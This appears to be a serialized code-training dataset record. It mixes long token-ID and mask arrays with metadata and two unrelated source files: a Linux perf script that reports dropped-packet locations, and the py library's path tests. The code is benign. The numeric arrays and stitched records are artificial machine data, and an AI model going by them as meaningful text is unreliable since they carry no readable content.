437,
2863,
2126,
1930,
365,
22200,
445,
8,
1548,
9,
641,
282,
2656,
1928,
2366,
4903,
701,
849,
14,
2126,
22604,
365,
308,
8556,
316,
370,
1263,
7256,
4066,
465,
2126,
24464,
626,
886,
440,
1172,
1263,
2018,
4903,
14,
1010,
1263,
1163,
1930,
12,
1808,
2126,
314,
603,
8,
5641,
9,
503,
603,
8,
1531,
9,
859,
365,
8298,
1655,
5827,
14,
1362,
446,
7628,
1627,
370,
445,
8,
1773,
9,
787,
1255,
5370,
4012,
314,
7526,
3982,
5218,
14,
1362,
446,
9739,
1072,
12,
1125,
1072,
436,
372,
1233,
787,
2138,
1380,
2126,
2808,
14,
1362,
446,
6006,
365,
949,
1570,
3016,
2291,
367,
642,
859,
14,
1362,
446,
961,
859,
1630,
440,
4409,
2366,
641,
314,
3982,
2656,
12,
8298,
2839,
2126,
314,
603,
8,
1579,
9,
859,
14,
1362,
446,
961,
859,
365,
2597,
3748,
367,
5417,
4545,
14,
199,
5983,
26,
272,
446,
298,
3917,
1808,
3066,
687,
282,
15695,
12,
1265,
1443,
1929,
370,
3507,
10572,
13082,
316,
489,
1808,
445,
8,
13737,
63,
5047,
26,
949,
9,
340,
1265,
3984,
1808,
445,
8,
1773,
9,
370,
15865,
2366,
489,
14602,
314,
6844,
2122,
272,
446,
982,
1265,
2934,
370,
5341,
282,
1414,
11153,
590,
436,
12610,
6665,
12,
652,
1443,
506,
489,
8034,
370,
675,
314,
603,
8,
1531,
9,
503,
603,
8,
5641,
9,
4621,
3140,
14,
272,
446,
710,
445,
8,
5418,
9,
4252,
1630,
440,
1736,
543,
3066,
12252,
12,
652,
5074,
282,
5218,
489,
1314,
4910,
652,
1454,
5419,
340,
445,
8,
5904,
9,
365,
663,
503,
1808,
314,
859,
489,
543,
1979,
17228,
325,
4732,
425,
334,
35,
8,
13970,
4992,
272,
446,
961,
859,
365,
2597,
3748,
367,
5417,
4545,
14,
199,
3239,
12344,
26,
199,
13,
859,
26,
1414,
199,
13,
859,
26,
5218,
199,
13,
859,
26,
4747,
63,
1531,
199,
13,
859,
26,
4747,
63,
5641,
199,
2502,
26,
272,
446,
2622,
11672,
11682,
272,
446,
16922,
22453,
199,
2344,
199,
199,
8918,
275,
519,
2344,
199,
13,
536,
26,
27324,
7868,
282,
1591,
1928,
2366,
18,
4903,
523,
3066,
26,
28215,
3907,
446,
89,
2366,
18,
2366,
18,
13,
4272,
70,
1973,
19931,
13,
1548,
199,
199,
13,
536,
26,
3378,
282,
1414,
626,
4440,
2222,
13,
9228,
5218,
13,
374,
706,
334,
262,
642,
2893,
1182,
1393,
15,
609,
3181,
1133,
2429,
23713,
436,
24952,
10451,
1325,
20387,
1630,
9,
523,
3066,
26,
6230,
665,
1182,
2791,
6331,
2424,
523,
1249,
26,
272,
7286,
26,
1182,
1393,
15,
16408,
199,
199,
13,
536,
26,
428,
2756,
7742,
675,
27960,
2860,
14,
16763,
675,
6313,
2457,
370,
5126,
315,
8923,
10876,
14,
523,
3066,
26,
7370,
2559,
63,
7755,
92,
3513,
3586,
8448,
5496,
63,
2469,
92,
3513,
3586,
3907,
8448,
2366,
92,
3513,
7820,
199,
199,
13,
536,
26,
3820,
922,
12639,
641,
282,
5417,
2656,
523,
3066,
26,
2372,
13,
55,
2664,
1692,
446,
2543,
13036,
708,
63,
1899,
6009,
199,
2344,
199,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1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0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
dcsommer/linux-kernel-cwnd-issues
|
tools/perf/scripts/python/net_dropmonitor.py
|
4235
|
1554
|
# Monitor the system for dropped packets and proudce a report of drop locations and counts
import os
import sys
sys.path.append(os.environ['PERF_EXEC_PATH'] + \
'/scripts/python/Perf-Trace-Util/lib/Perf/Trace')
from perf_trace_context import *
from Core import *
from Util import *
drop_log = {}
kallsyms = []
def get_kallsyms_table():
global kallsyms
try:
f = open("/proc/kallsyms", "r")
linecount = 0
for line in f:
linecount = linecount+1
f.seek(0)
except:
return
j = 0
for line in f:
loc = int(line.split()[0], 16)
name = line.split()[2]
j = j +1
if ((j % 100) == 0):
print "\r" + str(j) + "/" + str(linecount),
kallsyms.append({ 'loc': loc, 'name' : name})
print "\r" + str(j) + "/" + str(linecount)
kallsyms.sort()
return
def get_sym(sloc):
loc = int(sloc)
for i in kallsyms:
if (i['loc'] >= loc):
return (i['name'], i['loc']-loc)
return (None, 0)
def print_drop_table():
print "%25s %25s %25s" % ("LOCATION", "OFFSET", "COUNT")
for i in drop_log.keys():
(sym, off) = get_sym(i)
if sym == None:
sym = i
print "%25s %25s %25s" % (sym, off, drop_log[i])
def trace_begin():
print "Starting trace (Ctrl-C to dump results)"
def trace_end():
print "Gathering kallsyms data"
get_kallsyms_table()
print_drop_table()
# called from perf, when it finds a correspoinding event
def skb__kfree_skb(name, context, cpu, sec, nsec, pid, comm,
skbaddr, protocol, location):
slocation = str(location)
try:
drop_log[slocation] = drop_log[slocation] + 1
except:
drop_log[slocation] = 1
|
gpl-2.0
|
[
3,
26504,
314,
2656,
367,
17481,
14593,
436,
557,
1181,
301,
282,
3622,
402,
5978,
9918,
436,
8242,
199,
199,
646,
747,
199,
646,
984,
199,
199,
1274,
14,
515,
14,
740,
8,
736,
14,
2314,
459,
17038,
63,
10276,
63,
3243,
418,
435,
971,
507,
198,
9807,
6429,
15,
1548,
15,
12387,
13,
3921,
13,
9562,
15,
773,
15,
12387,
15,
3921,
358,
199,
199,
504,
8582,
63,
3446,
63,
1100,
492,
627,
199,
504,
11672,
492,
627,
199,
504,
21248,
492,
627,
199,
199,
4824,
63,
793,
275,
1052,
199,
32483,
275,
942,
199,
199,
318,
664,
63,
32483,
63,
1224,
837,
199,
198,
2966,
1022,
452,
13807,
199,
198,
893,
26,
507,
198,
70,
275,
1551,
4769,
4687,
15,
32483,
401,
298,
82,
531,
507,
198,
604,
835,
275,
378,
507,
198,
509,
1004,
315,
289,
26,
686,
198,
604,
835,
275,
1004,
835,
11,
17,
507,
198,
70,
14,
5507,
8,
16,
9,
199,
198,
2590,
26,
507,
198,
1107,
4388,
198,
74,
275,
378,
199,
198,
509,
1004,
315,
289,
26,
507,
198,
2102,
275,
1109,
8,
604,
14,
1294,
3430,
16,
467,
3193,
9,
507,
198,
354,
275,
1004,
14,
1294,
3430,
18,
61,
507,
198,
74,
275,
1335,
435,
17,
507,
198,
692,
3666,
74,
450,
2948,
9,
508,
378,
304,
686,
198,
1361,
1867,
82,
2,
435,
620,
8,
74,
9,
435,
10609,
435,
620,
8,
604,
835,
395,
507,
198,
32483,
14,
740,
2561,
283,
2102,
356,
4355,
12,
283,
354,
7,
520,
536,
1552,
421,
198,
1361,
1867,
82,
2,
435,
620,
8,
74,
9,
435,
10609,
435,
620,
8,
604,
835,
9,
199,
198,
32483,
14,
3191,
342,
199,
198,
1107,
199,
199,
318,
664,
63,
3840,
8,
83,
2102,
304,
199,
198,
2102,
275,
1109,
8,
83,
2102,
9,
199,
198,
509,
284,
315,
1022,
452,
13807,
26,
507,
198,
692,
334,
73,
459,
2102,
418,
2356,
4355,
304,
686,
198,
1107,
334,
73,
459,
354,
995,
284,
459,
2102,
418,
13,
2102,
9,
199,
198,
1107,
334,
403,
12,
378,
9,
199,
199,
318,
870,
63,
4824,
63,
1224,
837,
199,
198,
1361,
2071,
821,
83,
450,
821,
83,
450,
821,
83,
2,
450,
1689,
16575,
401,
298,
14839,
401,
298,
8760,
531,
199,
198,
509,
284,
315,
5978,
63,
793,
14,
1612,
837,
507,
198,
8,
3840,
12,
2331,
9,
275,
664,
63,
3840,
8,
73,
9,
507,
198,
692,
4678,
508,
488,
26,
686,
198,
3840,
275,
284,
507,
198,
1361,
2071,
821,
83,
450,
821,
83,
450,
821,
83,
2,
450,
334,
3840,
12,
2331,
12,
5978,
63,
793,
59,
73,
566,
421,
199,
318,
3307,
63,
5037,
837,
199,
198,
1361,
298,
14139,
3307,
334,
9778,
13,
35,
370,
5461,
2058,
2924,
199,
199,
318,
3307,
63,
500,
837,
199,
198,
1361,
298,
39,
7404,
316,
1022,
452,
13807,
666,
2,
199,
198,
362,
63,
32483,
63,
1224,
342,
199,
198,
1361,
63,
4824,
63,
1224,
342,
199,
199,
3,
2797,
687,
8582,
12,
1380,
652,
17651,
282,
1970,
470,
555,
688,
316,
1566,
199,
318,
11448,
363,
22197,
63,
6852,
8,
354,
12,
1067,
12,
5033,
12,
6513,
12,
14256,
12,
4422,
12,
1923,
12,
686,
198,
13664,
12,
4113,
12,
2909,
304,
199,
198,
83,
1985,
275,
620,
8,
1985,
9,
199,
198,
893,
26,
507,
198,
4824,
63,
793,
59,
83,
1985,
61,
275,
5978,
63,
793,
59,
83,
1985,
61,
435,
413,
199,
198,
2590,
26,
507,
198,
4824,
63,
793,
59,
83,
1985,
61,
275,
413,
199,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768
] |
[
26504,
314,
2656,
367,
17481,
14593,
436,
557,
1181,
301,
282,
3622,
402,
5978,
9918,
436,
8242,
199,
199,
646,
747,
199,
646,
984,
199,
199,
1274,
14,
515,
14,
740,
8,
736,
14,
2314,
459,
17038,
63,
10276,
63,
3243,
418,
435,
971,
507,
198,
9807,
6429,
15,
1548,
15,
12387,
13,
3921,
13,
9562,
15,
773,
15,
12387,
15,
3921,
358,
199,
199,
504,
8582,
63,
3446,
63,
1100,
492,
627,
199,
504,
11672,
492,
627,
199,
504,
21248,
492,
627,
199,
199,
4824,
63,
793,
275,
1052,
199,
32483,
275,
942,
199,
199,
318,
664,
63,
32483,
63,
1224,
837,
199,
198,
2966,
1022,
452,
13807,
199,
198,
893,
26,
507,
198,
70,
275,
1551,
4769,
4687,
15,
32483,
401,
298,
82,
531,
507,
198,
604,
835,
275,
378,
507,
198,
509,
1004,
315,
289,
26,
686,
198,
604,
835,
275,
1004,
835,
11,
17,
507,
198,
70,
14,
5507,
8,
16,
9,
199,
198,
2590,
26,
507,
198,
1107,
4388,
198,
74,
275,
378,
199,
198,
509,
1004,
315,
289,
26,
507,
198,
2102,
275,
1109,
8,
604,
14,
1294,
3430,
16,
467,
3193,
9,
507,
198,
354,
275,
1004,
14,
1294,
3430,
18,
61,
507,
198,
74,
275,
1335,
435,
17,
507,
198,
692,
3666,
74,
450,
2948,
9,
508,
378,
304,
686,
198,
1361,
1867,
82,
2,
435,
620,
8,
74,
9,
435,
10609,
435,
620,
8,
604,
835,
395,
507,
198,
32483,
14,
740,
2561,
283,
2102,
356,
4355,
12,
283,
354,
7,
520,
536,
1552,
421,
198,
1361,
1867,
82,
2,
435,
620,
8,
74,
9,
435,
10609,
435,
620,
8,
604,
835,
9,
199,
198,
32483,
14,
3191,
342,
199,
198,
1107,
199,
199,
318,
664,
63,
3840,
8,
83,
2102,
304,
199,
198,
2102,
275,
1109,
8,
83,
2102,
9,
199,
198,
509,
284,
315,
1022,
452,
13807,
26,
507,
198,
692,
334,
73,
459,
2102,
418,
2356,
4355,
304,
686,
198,
1107,
334,
73,
459,
354,
995,
284,
459,
2102,
418,
13,
2102,
9,
199,
198,
1107,
334,
403,
12,
378,
9,
199,
199,
318,
870,
63,
4824,
63,
1224,
837,
199,
198,
1361,
2071,
821,
83,
450,
821,
83,
450,
821,
83,
2,
450,
1689,
16575,
401,
298,
14839,
401,
298,
8760,
531,
199,
198,
509,
284,
315,
5978,
63,
793,
14,
1612,
837,
507,
198,
8,
3840,
12,
2331,
9,
275,
664,
63,
3840,
8,
73,
9,
507,
198,
692,
4678,
508,
488,
26,
686,
198,
3840,
275,
284,
507,
198,
1361,
2071,
821,
83,
450,
821,
83,
450,
821,
83,
2,
450,
334,
3840,
12,
2331,
12,
5978,
63,
793,
59,
73,
566,
421,
199,
318,
3307,
63,
5037,
837,
199,
198,
1361,
298,
14139,
3307,
334,
9778,
13,
35,
370,
5461,
2058,
2924,
199,
199,
318,
3307,
63,
500,
837,
199,
198,
1361,
298,
39,
7404,
316,
1022,
452,
13807,
666,
2,
199,
198,
362,
63,
32483,
63,
1224,
342,
199,
198,
1361,
63,
4824,
63,
1224,
342,
199,
199,
3,
2797,
687,
8582,
12,
1380,
652,
17651,
282,
1970,
470,
555,
688,
316,
1566,
199,
318,
11448,
363,
22197,
63,
6852,
8,
354,
12,
1067,
12,
5033,
12,
6513,
12,
14256,
12,
4422,
12,
1923,
12,
686,
198,
13664,
12,
4113,
12,
2909,
304,
199,
198,
83,
1985,
275,
620,
8,
1985,
9,
199,
198,
893,
26,
507,
198,
4824,
63,
793,
59,
83,
1985,
61,
275,
5978,
63,
793,
59,
83,
1985,
61,
435,
413,
199,
198,
2590,
26,
507,
198,
4824,
63,
793,
59,
83,
1985,
61,
275,
413,
199,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,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,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
aeischeid/servo
|
tests/wpt/web-platform-tests/tools/py/testing/path/test_local.py
|
160
|
29652
|
# -*- coding: utf-8 -*-
from __future__ import with_statement
import py
import pytest
import os, sys
from py.path import local
import common
failsonjython = py.test.mark.xfail("sys.platform.startswith('java')")
failsonjywin32 = py.test.mark.xfail("sys.platform.startswith('java') "
"and getattr(os, '_name', None) == 'nt'")
win32only = py.test.mark.skipif(
"not (sys.platform == 'win32' or getattr(os, '_name', None) == 'nt')")
skiponwin32 = py.test.mark.skipif(
"sys.platform == 'win32' or getattr(os, '_name', None) == 'nt'")
def pytest_funcarg__path1(request):
def setup():
path1 = request.getfuncargvalue("tmpdir")
common.setuptestfs(path1)
return path1
def teardown(path1):
# post check
assert path1.join("samplefile").check()
return request.cached_setup(setup, teardown, scope="session")
class TestLocalPath(common.CommonFSTests):
def test_join_normpath(self, tmpdir):
assert tmpdir.join(".") == tmpdir
p = tmpdir.join("../%s" % tmpdir.basename)
assert p == tmpdir
p = tmpdir.join("..//%s/" % tmpdir.basename)
assert p == tmpdir
@skiponwin32
def test_dirpath_abs_no_abs(self, tmpdir):
p = tmpdir.join('foo')
assert p.dirpath('/bar') == tmpdir.join('bar')
assert tmpdir.dirpath('/bar', abs=True) == py.path.local('/bar')
def test_gethash(self, tmpdir):
md5 = py.builtin._tryimport('md5', 'hashlib').md5
lib = py.builtin._tryimport('sha', 'hashlib')
sha = getattr(lib, 'sha1', getattr(lib, 'sha', None))
fn = tmpdir.join("testhashfile")
data = 'hello'.encode('ascii')
fn.write(data, mode="wb")
assert fn.computehash("md5") == md5(data).hexdigest()
assert fn.computehash("sha1") == sha(data).hexdigest()
py.test.raises(ValueError, fn.computehash, "asdasd")
def test_remove_removes_readonly_file(self, tmpdir):
readonly_file = tmpdir.join('readonly').ensure()
readonly_file.chmod(0)
readonly_file.remove()
assert not readonly_file.check(exists=1)
def test_remove_removes_readonly_dir(self, tmpdir):
readonly_dir = tmpdir.join('readonlydir').ensure(dir=1)
readonly_dir.chmod(int("500", 8))
readonly_dir.remove()
assert not readonly_dir.check(exists=1)
def test_remove_removes_dir_and_readonly_file(self, tmpdir):
readonly_dir = tmpdir.join('readonlydir').ensure(dir=1)
readonly_file = readonly_dir.join('readonlyfile').ensure()
readonly_file.chmod(0)
readonly_dir.remove()
assert not readonly_dir.check(exists=1)
def test_remove_routes_ignore_errors(self, tmpdir, monkeypatch):
l = []
monkeypatch.setattr(py.std.shutil, 'rmtree',
lambda *args, **kwargs: l.append(kwargs))
tmpdir.remove()
assert not l[0]['ignore_errors']
for val in (True, False):
l[:] = []
tmpdir.remove(ignore_errors=val)
assert l[0]['ignore_errors'] == val
def test_initialize_curdir(self):
assert str(local()) == py.std.os.getcwd()
@skiponwin32
def test_chdir_gone(self, path1):
p = path1.ensure("dir_to_be_removed", dir=1)
p.chdir()
p.remove()
pytest.raises(py.error.ENOENT, py.path.local)
assert path1.chdir() is None
assert os.getcwd() == str(path1)
def test_as_cwd(self, path1):
dir = path1.ensure("subdir", dir=1)
old = py.path.local()
with dir.as_cwd() as x:
assert x == old
assert py.path.local() == dir
assert os.getcwd() == str(old)
def test_as_cwd_exception(self, path1):
old = py.path.local()
dir = path1.ensure("subdir", dir=1)
with pytest.raises(ValueError):
with dir.as_cwd():
raise ValueError()
assert old == py.path.local()
def test_initialize_reldir(self, path1):
with path1.as_cwd():
p = local('samplefile')
assert p.check()
@pytest.mark.xfail("sys.version_info < (2,6) and sys.platform == 'win32'")
def test_tilde_expansion(self, monkeypatch, tmpdir):
monkeypatch.setenv("HOME", str(tmpdir))
p = py.path.local("~", expanduser=True)
assert p == os.path.expanduser("~")
def test_eq_with_strings(self, path1):
path1 = path1.join('sampledir')
path2 = str(path1)
assert path1 == path2
assert path2 == path1
path3 = path1.join('samplefile')
assert path3 != path2
assert path2 != path3
def test_eq_with_none(self, path1):
assert path1 != None
def test_gt_with_strings(self, path1):
path2 = path1.join('sampledir')
path3 = str(path1.join("ttt"))
assert path3 > path2
assert path2 < path3
assert path2 < "ttt"
assert "ttt" > path2
path4 = path1.join("aaa")
l = [path2, path4,path3]
assert sorted(l) == [path4, path2, path3]
def test_open_and_ensure(self, path1):
p = path1.join("sub1", "sub2", "file")
with p.open("w", ensure=1) as f:
f.write("hello")
assert p.read() == "hello"
def test_write_and_ensure(self, path1):
